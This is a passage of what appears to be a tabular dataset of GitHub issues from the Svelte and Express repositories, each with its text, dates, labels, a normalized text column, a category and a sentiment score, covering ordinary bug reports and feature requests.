[reproduction](https://svelte.dev/playground/hello-world?version=5.36.8#H4sIAAAAAAAAA22Py2rDMBAAf2W7FJSAqclVdQ299R_qHhR7XS_IKyFt4wTjfy9yCL30OszsY0VxM6HFD_I-wBKSH-BAAysNR6xwZE8Z7eeKeovFKwCrR_Ue40u-kNfCzi7Tf7wPoiSa0WKT-8RR20465TmGpLAuidWdPW0wpjCDuXd11pDIvBazD5IVdgBv8PAPZr_WHHfHLY4VjJObTizfJWzqv23STKf2_uP6vE_anpp6OrWdYIVKV0Wr6Ye2rwrVsV9YBrSj85m2XzenKqwkAQAA)

### Logs

```shell
$$cleanup is not defined in <unknown> in __wrapper.svelte
```

### System Info

```shell
svelte 5.36.8 in playground
```

### Severity

blocking an upgrade",,2025-07-18 22:30:45+00:00,2025-07-19 21:24:48+00:00,0,nan,0.9542,stores cannot be used in async components describe the bug if any stores are used in an async component the function gets injected in a different function than it s called gets called inside the async body function but goes in the actual component body reproduction reproduction logs system info severity blocking an upgrade,others,-0.6597
sveltejs/svelte,3244496011,async call lead to error after saving file,"### Describe the bug

Having 2 chained async calls inside the top level of a page it works when navigating on the page.
Then after saving the page it will beak with this error: 
Uncaught (in promise) TypeError: Cannot read properties of null (reading 'increment')

### Reproduction

https://github.com/simonhackler/svelte-async-repro

run `npm run dev`
navigate to localhost:5173 and everything should work. Then delete or add a line inside src/routes/+page.svelte and save and it will lead to this error:
Uncaught (in promise) TypeError: Cannot read properties of null (reading 'increment')

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.14 Arch Linux
    CPU: (6) x64 Intel(R) Core(TM) i5-9600K CPU @ 3.70GHz
    Memory: 15.87 GB / 31.26 GB
    Container: Yes
    Shell: 5.2.37 - /bin/bash
  Binaries:
    Node: 22.17.1 - ~/.nvm/versions/node/v22.17.1/bin/node
    npm: 10.9.2 - ~/.nvm/versions/node/v22.17.1/bin/npm
  Browsers:
    Brave Browser: 134.1.76.74
  npmPackages:
    svelte: ^5.0.0 => 5.36.8
```

### Severity

annoyance",,2025-07-18 22:23:51+00:00,2025-10-21 09:57:13+00:00,3,nan,94.4815,async call lead to error after saving file describe the bug having chained async calls inside the top level of a page it works when navigating on the page then after saving the page it will beak with this error uncaught in promise typeerror cannot read properties of null reading increment reproduction run navigate to localhost and everything should work then delete or add a line inside src routes page svelte and save and it will lead to this error uncaught in promise typeerror cannot read properties of null reading increment logs system info severity annoyance,bug,-0.6908
sveltejs/svelte,3243728811,`let $derived` object not updating with `$bindable`,"### Describe the bug

Not sure if this is the interaction that's _supposed_ to happen and I'm meant to use the `$state` in this scenario instead, but I found that when trying to mutate an object defined with `let $derived` gets passed down to a bound component it doesn't trigger a reactive update to the UI. 

As soon as I change it to a `$state` rune the UI updates so it's simply an annoyance right now keeping us from removing the usage of some `$effect` runes.

### Reproduction

Svelte Playground: https://svelte.dev/playground/114b3ffd135248c481adce41c3366e26?version=5.36.7

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (11) arm64 Apple M3 Pro
    Memory: 251.31 MB / 18.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.14.0 - ~/.nvm/versions/node/v22.14.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v22.14.0/bin/yarn
    npm: 10.9.2 - ~/.nvm/versions/node/v22.14.0/bin/npm
    pnpm: 10.12.4 - ~/Library/pnpm/pnpm
    bun: 1.2.18 - ~/.bun/bin/bun
  Browsers:
    Brave Browser: 138.1.80.120
    Safari: 18.5
  npmPackages:
    svelte: ^5.36.6 => 5.36.6
```

### Severity

annoyance",,2025-07-18 16:21:11+00:00,2025-07-18 16:31:50+00:00,1,nan,0.0074,object not updating with describe the bug not sure if this is the interaction that s supposed to happen and i m meant to use the in this scenario instead but i found that when trying to mutate an object defined with gets passed down to a bound component it doesn t trigger a reactive update to the ui as soon as i change it to a rune the ui updates so it s simply an annoyance right now keeping us from removing the usage of some runes reproduction svelte playground logs system info severity annoyance,others,-0.8116
sveltejs/svelte,3243433288,Feature Request: Official Recommended Global Request Cache Pattern in Svelte,"### Describe the problem

While building apps with Svelte 5, I’ve often run into the need to share and reuse the state of async requests (data, loading, error) across multiple components — similar to how React Query or SWR work in React.

As far as I know, there isn’t an official or idiomatic pattern in Svelte for implementing a global request cache. This often leads developers (myself included) to reinvent the wheel, usually borrowing patterns from React that don’t feel quite natural in Svelte.

I’m aware of TanStack Query for Svelte, but it seems to have several issues with Svelte 5 and doesn’t appear to be prioritized at the moment.

Below is my current approach. I suspect I’ve leaned too heavily on React-style patterns and that it is not idiomatic Svelte 5. I’m still very new to Svelte 5, so it’s possible I’m overcomplicating things — and I’d appreciate any guidance...

### 📐 Current Approach (Most likely wrong / an anti-pattern)

I maintain a global store:

```ts
type GlobalRequestCacheStore = SvelteMap<string, RequestCache<StableKey, unknown>>;
let globalRequestCacheStore: GlobalRequestCacheStore | null = null;
```

It should be initialized at the root of the app with:

```ts
const globalRequestCache = () => {
  if (globalRequestCacheStore != null) {
    throw new Error('globalRequestCacheStore already exists');
  }

  globalRequestCacheStore = new SvelteMap();
  return () => {
    globalRequestCacheStore = null;
  };
};
```

The root component calls like this:

```ts
c... [TRUNCATED]",,2025-07-18 14:32:36+00:00,2025-07-22 16:05:57+00:00,5,nan,4.0648,feature request official recommended global request cache pattern in svelte describe the problem while building apps with svelte i ve often run into the need to share and reuse the state of async requests data loading error across multiple components similar to how react query or swr work in react as far as i know there isn t an official or idiomatic pattern in svelte for implementing a global request cache this often leads developers myself included to reinvent the wheel usually borrowing patterns from react that don t feel quite natural in svelte i m aware of tanstack query for svelte but it seems to have several issues with svelte and doesn t appear to be prioritized at the moment below is my current approach i suspect i ve leaned too heavily on react style patterns and that it is not idiomatic svelte i m still very new to svelte so it s possible i m overcomplicating things and i d appreciate any guidance current approach most likely wrong an anti pattern i maintain a global store it should be initialized at the root of the app with the root component calls like this ts c truncated,feature,-0.5379
sveltejs/svelte,3242101209,Bug: Async + View Transitions slows down page navigation,"### Describe the bug

If you configure your external layout to enable the view transition api ([doc](https://svelte.dev/docs/kit/faq#How-do-I-use-the-view-transitions-API)) and you have the async experimental flag turned on, the navigation between pages becomes really slow even if you don't have any data loading.

### Reproduction

[stackblitz](https://stackblitz.com/edit/sveltejs-kit-template-default-ct4wznik)

Just comment out the `document.startViewTransition` call in the external layout or turn off the experimental async flag to have the navigation working as expected

### System Info

```shell
It ""works"" on firefox because it doesn't support view transitions
```

### Severity

~~blocking an upgrade~~
blocking the usage of async features",,2025-07-18 06:38:09+00:00,2025-09-23 21:47:51+00:00,5,nan,67.6317,async view transitions slows down page navigation describe the bug if you configure your external layout to enable the view transition api doc and you have the async experimental flag turned on the navigation between pages becomes really slow even if you don t have any data loading reproduction stackblitz just comment out the call in the external layout or turn off the experimental async flag to have the navigation working as expected system info severity blocking an upgrade blocking the usage of async features,bug,-0.8883
sveltejs/svelte,3240928018,await_reactivity_loss false positive even when used within untrack function 2,"### Describe the bug

Another bug related to https://github.com/sveltejs/svelte/issues/16381

```ts
import { untrack } from 'svelte'
	
	let name = $state('a')
	let count = $state(1)

	const wait = () => new Promise((resolve) => {
		setTimeout(resolve, 1000)
	})

		const promise = Promise.resolve(1)

	const getData = async () => {
		await promise
		await wait()

		// This causes false positive
		if (name === 'a') {
			
		}

		return count
	}

	let countAsync = $derived.by(() => {
		return untrack(() => getData())
	});
```

### Reproduction

https://svelte.dev/playground/hello-world?version=5.36.7#H4sIAAAAAAAAE21Sy27jMAz8Fa5QwA5g5HF14xQFeuhxD7mte1BkJhEqS4ZEJxsY-vdCDzfpYg9-gEPOkENOTPMeWc3eUSkDV2NVByV2krBbsIodpULH6j8To9sQ8kKAVXPV6zAs3QUVhdiBO_xfXBhNqMmxmm2dsHKgXatbkv1gLMEEoybLxSd4OFrTQ5EKi5ATHoUEgRYaeHLECcuCF4sZEWbUdIc2AdAtCaMdwZXLgJULaHag8Qq_remlw7K06Iy6YASmqEQOaS97NCPNaAWb9XodpXzmnZmHRATNTLnMNf90cEJ648ShAe5uWuRWsiKP_WWqx1B4ld-KqxXsz9KB4KNDB0euHMJgnCR5yWXyCGXyqGkg2DNLJAtb8jOZRRqtTrbFwRLwbeVrbLOBpw6tvGC3PNzKH01ngry0jOUxy0U26zktb7u671tvz5tdurIpTXnX87-2q_MmZR1GIqPBaKGk-GymB_F8BY-DwgsUhwLq8N9q7-Nl7c3ppDDm1TCFjw-9JOYdqxjhX2I12RH9R8WIS3WVumN1tNZ_AXS1wwAUAwAA

### Logs

```shell

```

### System Info

```shell
Svelte 5.36.7
```

### Severity

annoyance",,2025-07-17 21:11:55+00:00,2025-07-21 23:24:28+00:00,5,nan,4.092,await reactivity loss false positive even when used within untrack function describe the bug another bug related to reproduction logs system info severity annoyance,others,-0.6808
sveltejs/svelte,3239758104,Probably false positive effect_update_depth_exceeded error when reading derived firstly at effect,"### Describe the bug

In reproduce I am rendering 1000+ elements in each block. Each element has state that never changes and derived dependent on this state. Dervied firstly read inside $effect. Then there is more than 1000 elemtns the effect_update_depth_exceeded error is fired. But in fact there should not be any loops in effects

### Reproduction

The reproduction is presented here https://svelte.dev/playground/d9c15933109c478181c3a00854397dec?version=5.36.6

Firstly test it with 1000 elements by clicking the show button - there will be no error
Increase number of elemetns to 1001 and do the same again - the error will appear
Uncomment reading canPlay derived in Component.svelte to calculate it before effect - there will be no error


### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (12) arm64 Apple M4 Pro
    Memory: 65.36 MB / 24.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.17.0 - ~/.nvm/versions/node/v22.17.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v22.17.0/bin/yarn
    npm: 10.9.2 - ~/.nvm/versions/node/v22.17.0/bin/npm
    pnpm: 10.12.3 - /opt/homebrew/bin/pnpm
  Browsers:
    Chrome: 138.0.7204.158
    Safari: 18.5
  npmPackages:
    svelte: ^5.36.6 => 5.36.6
```

### Severity

blocking all usage of svelte",,2025-07-17 14:13:40+00:00,2025-07-23 11:55:53+00:00,16,nan,5.9043,probably false positive effect update depth exceeded error when reading derived firstly at effect describe the bug in reproduce i am rendering elements in each block each element has state that never changes and derived dependent on this state dervied firstly read inside effect then there is more than elemtns the effect update depth exceeded error is fired but in fact there should not be any loops in effects reproduction the reproduction is presented here firstly test it with elements by clicking the show button there will be no error increase number of elemetns to and do the same again the error will appear uncomment reading canplay derived in component svelte to calculate it before effect there will be no error logs system info severity blocking all usage of svelte,bug,-0.9737
sveltejs/svelte,3239506384,`SvelteSet` reactivity breaks in reassignment,"### Describe the bug

Behaviors of 1 and 3 are inconsistent.

---

1. Works without warning:

```svelte
<script lang=""ts"">
  import { SvelteSet } from 'svelte/reactivity';

  let ids = new SvelteSet([1]);
</script>

{#each ids as id (id)}{id}{/each}

<!-- Pressing this will render 2 above -->
<button type=""button"" onclick={() => (ids = new SvelteSet([2]))}>
  Update IDs
</button>
```

2. Breaks. Pressing the button does not render `2`

```svelte
<script lang=""ts"">
  import { SvelteSet } from 'svelte/reactivity';

  // `ids` is updated, but is not declared with `$state(...)`.
  let ids = new SvelteSet([1]);
  const count = $derived(ids.size); // added
</script>

{#each ids as id (id)}{id}{/each}

<button type=""button"" onclick={() => (ids = new SvelteSet([2]))}>
  Update IDs
</button>
```

3. Works, but results in ESLint error:

```svelte
<script lang=""ts"">
  import { SvelteSet } from 'svelte/reactivity';

  // SvelteSet is already reactive, $state wrapping is unnecessary.
  let ids = $state(new SvelteSet([1]));
  const count = $derived(ids.size); // added
</script>

{#each ids as id (id)}{id}{/each}

<button type=""button"" onclick={() => (ids = new SvelteSet([2]))}>
  Update IDs
</button>
```

### Reproduction

https://svelte.dev/playground/31fb8c5a3285467ebbed95ec40ce7d30?version=5.36.6

### Severity

annoyance",,2025-07-17 12:58:09+00:00,2025-07-17 13:14:14+00:00,4,nan,0.0112,reactivity breaks in reassignment describe the bug behaviors of and are inconsistent works without warning breaks pressing the button does not render works but results in eslint error reproduction severity annoyance,others,-0.8142
sveltejs/svelte,3238523104,Incorrectly triggered `node_invalid_placement` error when `<button>` is first child of `<select>`,"### Describe the bug

According to MDN documentation for styling `<select>` elements ([link](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Forms/Customizable_select#what_features_comprise_a_customizable_select)), a first-child `<button>` is allowed in modern browsers as a means to style the element, and is progressively enhanced / ignored when unsupported.

However, putting HTML akin to the example in the MDN, where a `<select>` has a single `<button>` as the first child, triggers `node_invalid_placement` compiler error.

### Reproduction

Put the following HTML in any Svelte file:
```
<select>
	<!-- Select button -->
	<button>
		<selectedcontent></selectedcontent>
	</button>
	<option value=""hello"">Hello</option>
</select>
```

### Logs

```shell
[Error [CompileError]: src/lib/Dashboard/sharedComponents/Dropdown.svelte:14:1 `<button>` cannot be a child of `<select>`. `<select>` only allows these children: `<option>`, `<optgroup>`, `<#text>`, `<hr>`, `<script>`, `<template>`. The browser will 'repair' the HTML (by moving, removing, or inserting elements) which breaks Svelte's assumptions about the structure of your components.
https://svelte.dev/e/node_invalid_placement]
```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (10) arm64 Apple M1 Pro
    Memory: 10.62 GB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.10.0 - /usr/local/bin/node
    Yarn: 1.22.22 - /usr/local/bin/yarn
    npm: 10.9.2 - /usr/local/bin/npm
    p... [TRUNCATED]",,2025-07-17 07:47:21+00:00,2025-07-17 08:02:46+00:00,7,nan,0.0107,incorrectly triggered error when is first child of describe the bug according to mdn documentation for styling elements link a first child is allowed in modern browsers as a means to style the element and is progressively enhanced ignored when unsupported however putting html akin to the example in the mdn where a has a single as the first child triggers compiler error reproduction put the following html in any svelte file logs system info shell system os macos cpu arm apple m pro memory gb gb shell bin zsh binaries node usr local bin node yarn usr local bin yarn npm usr local bin npm p truncated,bug,-0.9186
sveltejs/svelte,3238304552,Optimize callbacks inside each block with loop variable names,"### Describe the bug

Buttons B and C have identical callbacks, but the generated JS output differs:

```js
// B
button_1.__click = (e) => {
  const index = Number(e.currentTarget.dataset.index);
  console.log(index);
};
```

```js
// C
var on_click = (e, state) => {
  const i = Number(e.currentTarget.dataset.index);
  $.set(state, $.get(state) + (i + 1));
};
button_2.__click = [on_click];
```

This is because the `index` variable name is reused inside the callback:

```svelte
{#each { length: 1 } as _, index}
  <!-- New callback per-loop -->
  <button type=""button"" onclick={() => console.log(index)}>A</button>

  <!-- New callback per-loop -->
  <button
    type=""button""
    data-index={index}
    onclick={(e) => {
      const index = Number(e.currentTarget.dataset.index)!;
      console.log(index);
    }}>B</button
  >

  <!-- Shared callback between loops -->
  <button
    type=""button""
    data-index={index}
    onclick={(e) => {
      // Variable name has been changed for optimization.
      const i = Number(e.currentTarget.dataset.index)!;
      console.log(i);
    }}>C</button
  >
{/each}
```

If the loop variables (e.g. `index`) are redefined in the first line (e.g. `const index =`), they can be optimized.

(Without renaming `index` to `i` in this case.)

### Reproduction

https://svelte.dev/playground/93ce89c9e31248b3947dc23ae54e5992?version=5.36.5

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

annoyance",,2025-07-17 06:27:19+00:00,2025-07-17 09:03:55+00:00,0,nan,0.1088,optimize callbacks inside each block with loop variable names describe the bug buttons b and c have identical callbacks but the generated js output differs this is because the variable name is reused inside the callback if the loop variables e g are redefined in the first line e g they can be optimized without renaming to in this case reproduction logs system info severity annoyance,others,0.0516
sveltejs/svelte,3238234836,input bind doesn't work as expected since 5.36.0,"### Describe the bug

There is a number input where the minimum and maximum values limit the number. When the user enters a number less or greater than the limits, the value will be set to the minimum or maximum value.

It works fine in versions 5.35.6 and earlier.

### Reproduction

It works fine here:
https://svelte.dev/playground/04a9aff17b1b422c86782ac4b30acf0d?version=5.35.6

But it failing here:
https://svelte.dev/playground/04a9aff17b1b422c86782ac4b30acf0d?version=5.36.5

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (14) arm64 Apple M3 Max
    Memory: 143.45 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.14.0 - ~/.nvm/versions/node/v22.14.0/bin/node
    npm: 10.9.2 - ~/.nvm/versions/node/v22.14.0/bin/npm
    pnpm: 10.6.4 - ~/.nvm/versions/node/v22.14.0/bin/pnpm
  Browsers:
    Chrome: 138.0.7204.157
    Edge: 138.0.3351.83
    Safari: 18.5
  npmPackages:
    svelte: 5.35.6 => 5.35.6
```

### Severity

blocking an upgrade",,2025-07-17 05:57:24+00:00,2025-07-23 11:55:52+00:00,4,nan,6.2489,input bind doesn t work as expected since describe the bug there is a number input where the minimum and maximum values limit the number when the user enters a number less or greater than the limits the value will be set to the minimum or maximum value it works fine in versions and earlier reproduction it works fine here but it failing here logs system info severity blocking an upgrade,others,-0.5774
sveltejs/svelte,3237115098,"Async,  Streaming with Promises & Infinite Loop","### Describe the bug

The console gets spammed by `Tick updated at:` messages. More than it should.

Note that I don't see this issue if I rename `+page.server.ts` to `+page.ts`.

Unclear to me if I'm doing something I shouldn't or if this is a real issue. Please be gentle.

### Reproduction

+page.server.ts
```typescript
export const load = async ({fetch}) => {
  const res = await fetch('https://pokeapi.co/api/v2/pokemon/pikachu');
  return {data: res.json()}
}
```

+page.svelte
```svelte
<script lang=""ts"">

import type {PageProps} from ""./$types"";
import {readable} from ""svelte/store"";
import {invalidateAll} from ""$app/navigation"";

const {data}: PageProps = $props();

const tick = readable(Date.now(), (set) => {
  const id = setInterval(() => set(Date.now()), 1000);
  return () => clearInterval(id);
});

$effect(() => {
  if ($tick) {
    console.log(""Tick updated at:"", $tick);
    invalidateAll();
  }
});

</script>

<main>
  <svelte:boundary>
    <p>{JSON.stringify((await data.data), null, 2)}</p>

    {#snippet pending()}
      <p>loading...</p>
    {/snippet}
  </svelte:boundary>
</main>
```

### Logs

```shell
Tick updated at: 1752693977687 +page.svelte:16:13
Tick updated at: 1752693977687 +page.svelte:16:13
Tick updated at: 1752693977687 +page.svelte:16:13
Tick updated at: 1752693978697 +page.svelte:16:13
Tick updated at: 1752693978697 +page.svelte:16:13
Tick updated at: 1752693978697 +page.svelte:16:13
Tick updated at: 1752693978697 +page.svelte:16:13
Tick updated a... [TRUNCATED]",,2025-07-16 19:32:59+00:00,2025-07-23 11:55:53+00:00,3,nan,6.6826,async streaming with promises infinite loop describe the bug the console gets spammed by messages more than it should note that i don t see this issue if i rename to unclear to me if i m doing something i shouldn t or if this is a real issue please be gentle reproduction page server ts page svelte logs shell tick updated at page svelte tick updated at page svelte tick updated at page svelte tick updated at page svelte tick updated at page svelte tick updated at page svelte tick updated at page svelte tick updated a truncated,others,0.4215
sveltejs/svelte,3236292950,Add better support for generic types when exporting component as library,"### Describe the problem

I'm trying to export component as library
```svelte
<script lang=""ts"" generics=""ItemType"">
    const props: Props<ItemType> = $props();
...
```

But when I try to import this component, the type `ItemType` becomes `unknown`

The only workaround I found is this:
```svelte
<script lang=""ts"">
    const TypedMyComponent = MyComponent<string>;
    const items = ['a','b']
</script>

<TypedMyComponent items={items} />
```
It look unfriendly in my opinion, is there any better option?
Why svelte cannot infer type the same way as if component is in the same project?

Why there is nothing about exporting with generic types in the [docs](https://svelte.dev/docs/kit/packaging)?

### Describe the proposed solution

It would be great to use the imported component with generics the same way as the local component:
```svelte
<MyComponent items={items} />
```

### Importance

would make my life easier",,2025-07-16 14:53:34+00:00,2025-07-16 15:34:41+00:00,1,nan,0.0286,add better support for generic types when exporting component as library describe the problem i m trying to export component as library but when i try to import this component the type becomes the only workaround i found is this it look unfriendly in my opinion is there any better option why svelte cannot infer type the same way as if component is in the same project why there is nothing about exporting with generic types in the docs describe the proposed solution it would be great to use the imported component with generics the same way as the local component importance would make my life easier,help,0.959
sveltejs/svelte,3234320971,Async Svelte breaking block effects in template (in SvelteKit?),"**Edit: I have some further findings in a [comment below](https://github.com/sveltejs/svelte/issues/16387#issuecomment-3105868571), please see them for a better picture of the issue**

### Describe the bug

Hi, I'm not sure sure if this is a Svelte or SvelteKit issue because I'm not really sure what's happening. I can move the issue if needed. However as far as I can tell async svelte is not expected to break SvelteKit applications unless using the features specifically called out as breaking (which I'm not).

When enabling the async svelte feature flag I am having an issue where the page component is trying to access state (the page data) after the state has been removed. This only seems to happen to state this is used inside of an `{#each}` block as far as I can tell.

When navigating between pages that reuse the same page component (e.g. changing a slug) there is no error.

The error received in the browser is (see reproduction below):

```
Uncaught TypeError: $$props.data.pikachu is undefined

  in <unknown>
  in +layout.svelte
  in root.svelte
    _page +page.svelte:18
    each_array each.js:151
    update_reaction runtime.js:300
    execute_derived deriveds.js:308
    update_derived deriveds.js:331
    is_dirty runtime.js:219
    traverse_effect_tree_fn batch.js:251
    process_fn batch.js:177
    flush_effects batch.js:338
    flush batch.js:307
    ensure batch.js:415
    ensure batch.js:409
    internal_set sources.js:176
    set sources.js:155
    set legacy-client.... [TRUNCATED]",,2025-07-16 03:31:58+00:00,2025-08-11 18:41:35+00:00,12,nan,26.6317,async svelte breaking block effects in template in sveltekit edit i have some further findings in a comment below please see them for a better picture of the issue describe the bug hi i m not sure sure if this is a svelte or sveltekit issue because i m not really sure what s happening i can move the issue if needed however as far as i can tell async svelte is not expected to break sveltekit applications unless using the features specifically called out as breaking which i m not when enabling the async svelte feature flag i am having an issue where the page component is trying to access state the page data after the state has been removed this only seems to happen to state this is used inside of an block as far as i can tell when navigating between pages that reuse the same page component e g changing a slug there is no error the error received in the browser is see reproduction below uncaught typeerror props data pikachu is undefined in in layout svelte in root svelte page page svelte each array each js update reaction runtime js execute derived deriveds js update derived deriveds js is dirty runtime js traverse effect tree fn batch js process fn batch js flush effects batch js flush batch js ensure batch js ensure batch js internal set sources js set sources js set legacy client truncated,others,-0.9244
sveltejs/svelte,3234005827,🐛 Bug Report: `$state(await ...)` causes component hydration failures and breaks parent contexts,"### Describe the bug

🐛 Bug Report: `$state(await ...)` causes component hydration failures and breaks parent contexts

### **Environment**
- **Svelte version**: `https://pkg.pr.new/svelte@15844` (Svelte 5 pre-release)
- **SvelteKit version**: `https://pkg.pr.new/sveltejs/kit/@sveltejs/kit@b921e13`
- **Browser**: [Your browser]
- **OS**: macOS

### **Description**
Using `await` inside `$state()` causes hydration mismatches that break parent component contexts, leading to undefined CSS custom properties in floating UI components and broken component state across navigation.

### Reproduction

### **Steps to Reproduce**

1. Create a layout with a provider context (e.g., sidebar provider with floating UI dropdowns)
2. In a child route, use `$state(await someAsyncFunction())`
3. Navigate to the route - everything works initially
4. Navigate away and back to the route using client-side navigation
5. Parent context components (dropdowns, modals) stop working and show undefined CSS properties

### **Minimal Reproduction**

**Layout (`+layout.svelte`):**
```svelte
<script>
  import * as Sidebar from '$lib/components/ui/sidebar';
  import AppSidebar from '$lib/components/app-sidebar.svelte';
</script>

<Sidebar.Provider>
  <AppSidebar />
  <main>
    {@render children?.()}
  </main>
</Sidebar.Provider>
```

**Page with problematic code (`+page.svelte`):**
```svelte
<script>
  import { someAsyncFunction } from './data.js';
  
  // ❌ This breaks hydration and parent contexts
  let data ... [TRUNCATED]",awaiting submitter,2025-07-15 23:57:07+00:00,2025-11-17 19:21:43+00:00,4,awaiting submitter,124.8088,bug report causes component hydration failures and breaks parent contexts describe the bug bug report causes component hydration failures and breaks parent contexts environment svelte version svelte pre release sveltekit version browser your browser os macos description using inside causes hydration mismatches that break parent component contexts leading to undefined css custom properties in floating ui components and broken component state across navigation reproduction create a layout with a provider context e g sidebar provider with floating ui dropdowns in a child route use navigate to the route everything works initially navigate away and back to the route using client side navigation parent context components dropdowns modals stop working and show undefined css properties layout page with problematic code svelte import someasyncfunction from data js this breaks hydration and parent contexts let data truncated,bug,-0.9643
expressjs/express,4584825769,Bump qs to 6.15.2 to address CVE GHSA-q8mj-m7cp-5q26,"https://github.com/advisories/GHSA-q8mj-m7cp-5q26

Change here: https://github.com/expressjs/express/blob/dae209ae6559c29cfca2a1f4414c51d89ea643d5/package.json#L55",dependencies,2026-06-04 00:55:44+00:00,2026-06-14 17:02:36+00:00,1,dependencies,10.6714,bump qs to to address cve ghsa q mj m cp q change here,others,0.0
expressjs/express,4557290341,Feature suggestion,Hi DEATHLEGION here from Sri Lanka. This is an amazing project! I was wondering if there are plans to add support for TypeScript? Would love to contribute if needed.,typescript,2026-05-31 10:42:05+00:00,2026-05-31 12:32:51+00:00,0,typescript,0.0769,feature suggestion hi deathlegion here from sri lanka this is an amazing project i was wondering if there are plans to add support for typescript would love to contribute if needed,feature,0.8934
expressjs/express,4501913825,How to inject Open Graph/Meta tags for Social Media before the sendFile function?,"In short: can we transform the file to be sent while piping? This for social media 🤷‍♂️ 

Longer version:
I wonder what's the recommendation how to inject HTML meta headers for social media scrapers, before sending the `index.html`, using [sendFile](https://github.com/expressjs/express/blob/master/lib/response.js#L921).

Because, my SPA application, used by thousands of users a week, I load video X with a GET request by ID. That video comes with a title and description. This using Express.js in routes. Once loaded over DB, I want to set the ogDescription meta tag with its description, for example. But how?

Facebook comes with this tool to check:
[developers.facebook.com/tools/debug](https://developers.facebook.com/tools/debug)

It requires a static HTML file. Before, I was using this npm package [react-metatags-hook](https://www.npmjs.com/package/react-metatags-hook) which was a bad idea. Because that Facebook scraper tool requires a plain HTML file.

I know, SSR or SSG would be the ideal solution. But I don't have the time to migrate my app to SSR/SSG right now. That would be a big step and requires a lot more testing and is too risky.

The current code to serve the static index.html for the SPA is:

```ts
  const fileUrl = path.join(getWwwDir(), ""index.html"");

  res.sendFile(fileUrl);
```

This index.html does not come with `og:description` for example because it's content/video based. I want to add it dynamically for bots/scrapers only.

Some ideas
1. Before calling `sen... [TRUNCATED]",question,2026-05-22 10:32:17+00:00,2026-05-23 21:32:08+00:00,1,question,1.4582,how to inject open graph meta tags for social media before the sendfile function in short can we transform the file to be sent while piping this for social media longer version i wonder what s the recommendation how to inject html meta headers for social media scrapers before sending the using sendfile because my spa application used by thousands of users a week i load video x with a get request by id that video comes with a title and description this using express js in routes once loaded over db i want to set the ogdescription meta tag with its description for example but how facebook comes with this tool to check developers facebook com tools debug it requires a static html file before i was using this npm package react metatags hook which was a bad idea because that facebook scraper tool requires a plain html file i know ssr or ssg would be the ideal solution but i don t have the time to migrate my app to ssr ssg right now that would be a big step and requires a lot more testing and is too risky the current code to serve the static index html for the spa is this index html does not come with for example because it s content video based i want to add it dynamically for bots scrapers only some ideas before calling sen truncated,help,0.6652
expressjs/express,4484376973,"Bug: Nested API sidebar overlapping menu defaults to ""Properties"" when clicking individual Events/Methods","Expressjs.com website has a fresh new look. Thanks for the great work on that!

There is a bug in the documentation website which can be restated as:  
API sidebar overlapping menu defaults to ""Properties"" when clicking other sub-menu's listed items like individual ""Event"" or ""Method"".

For example, when clicked on Application Event or Application Method, the left overlapping sidebar changes to show Application Properties.

This is like defaulting to displaying the contents of the first openable sub menu item of an API menu item (like Application) when clicked on an item that opens under either 2nd or 3rd openable sub menu item of the API menu item.

<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**: Not Needed (latest website issue)
<!-- 
To find the installed version of a package, you can check the `package.json` file in the root directory of your project. The version will be listed under `dependencies` or `devDependencies`, like this:

```json
""dependencies"": {
  ""express"": ""4.18.2""
}
-->

**Platform**: Windows 11 (64-bit)
<!-- 
UNIX: output of uname -a
Windows: output of ""$([Environment]::OSVersion.VersionString) $(('x86', 'x64')[[Environment]::Is64BitOperatingSystem])"" in PowerShell console 
-->

**Node.js version**: Not Needed (latest website issue)
<!-- 
Output of node -v.
-->... [TRUNCATED]","bug,duplicate",2026-05-20 07:57:41+00:00,2026-05-20 08:57:57+00:00,0,"bug,duplicate",0.0419,nested api sidebar overlapping menu defaults to properties when clicking individual events methods expressjs com website has a fresh new look thanks for the great work on that there is a bug in the documentation website which can be restated as api sidebar overlapping menu defaults to properties when clicking other sub menu s listed items like individual event or method for example when clicked on application event or application method the left overlapping sidebar changes to show application properties this is like defaulting to displaying the contents of the first openable sub menu item of an api menu item like application when clicked on an item that opens under either nd or rd openable sub menu item of the api menu item the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix rmation version not needed latest website issue to find the installed version of a package you can check the file in the root directory of your project the version will be listed under or like this json dependencies express platform windows bit unix output of uname a windows output of environment osversion versionstring x x environment is bitoperatingsystem in powershell console node js version not needed latest website issue output of node v truncated,bug,0.9382
expressjs/express,4476463123,Add util to print full paths of routes and methods registered across the application,"
I am asking someone to implement the feature.

I request a feature to print all available routes registered in very easy way to handle. Something like:
registeredRoutes()
And it would return for example an array of routes:
```[{method: 'POST', path: '/api/v1/route1/:param1'},...]```

I've seen many people online build their own solutions to retrieve all available routes, but every version of express changes a bit its structure and it gets harder to do so without very nasty looking tricks. I did mine too, but now I just don't know how to do it.

My current solution allows me to just copy the route and use it in postman, also helps with visibility, as I can just print all routes and see if I can find useful endpoint.

2026-05-19T09:29:45.793Z APP INFO, [App] Registered routes: 5
2026-05-19T09:29:45.794Z APP INFO, [Available Route]      GET /api-docs
2026-05-19T09:29:45.794Z APP INFO, [Available Route]      GET /api-docs.json
2026-05-19T09:29:45.794Z APP INFO, [Available Route]     POST /api/data-integration/service-profile
2026-05-19T09:29:45.794Z APP INFO, [Available Route]      GET /health
2026-05-19T09:29:45.794Z APP INFO, [Available Route]      GET /sandbox/1

Right now I have a function called: showAppRoutes(app);

Its code looks like this:
```
import type { Express } from 'express';
import { logger } from '../infra/logger';
import { appRoutes, apiRoutes } from '../routes';

type RouteInfo = { method: string; path: string };

